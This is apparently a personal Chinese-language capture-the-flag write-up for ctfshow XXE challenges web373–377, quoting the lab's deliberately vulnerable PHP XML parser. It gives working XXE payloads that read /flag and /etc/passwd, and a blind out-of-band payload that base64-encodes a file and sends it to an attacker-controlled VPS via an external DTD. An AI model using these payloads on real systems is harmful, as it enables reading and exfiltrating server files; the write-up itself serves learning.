web373
题目是这样的,我看的似懂非懂的
// 允许加载外部实体
libxml_disable_entity_loader(false);
// xml文件来源于数据流
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
// 加载xml实体,参数为替代实体、加载外部子集
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 把 DOM 节点转换为 SimpleXMLElement 对象
$creds = simplexml_import_dom($dom);
// 节点嵌套
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
payload:
[POST]Payload:
<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>
记得用bp别用hackbar
可以先看看这篇R1师傅的xxe原理介绍
然后再参考这篇解题过程
我感觉得看看xml语法,再来做题,先到这了
整明白了我来分析一下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
//这个productid要填xml实体的名称
<productId>&xxe;</productId>
</stockCheck>
这个productid要填xml实体的名称
然后上面那个!DOCTYPE这个地方意思是
外部实体的声明使用SYSTEM关键字,并且必须指定应从中加载实体值的URL。
例如:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
URL可以使用file://协议,因此可以从文件加载外部实体
例如:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
这是最基础的一题,没有过滤,应该可以当例题
web374-376
没有echo了,不回显了
要把读取到的内容也就是flag传到远程服务器查看
vps 上搭建服务器 创建文件text.dtd
然后payload:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/text.dtd">
%aaa;
]>
<root>123</root>
然后监听9999端口
base64编码后即可得到flag
web 377
打把联盟先羽师傅的也挺好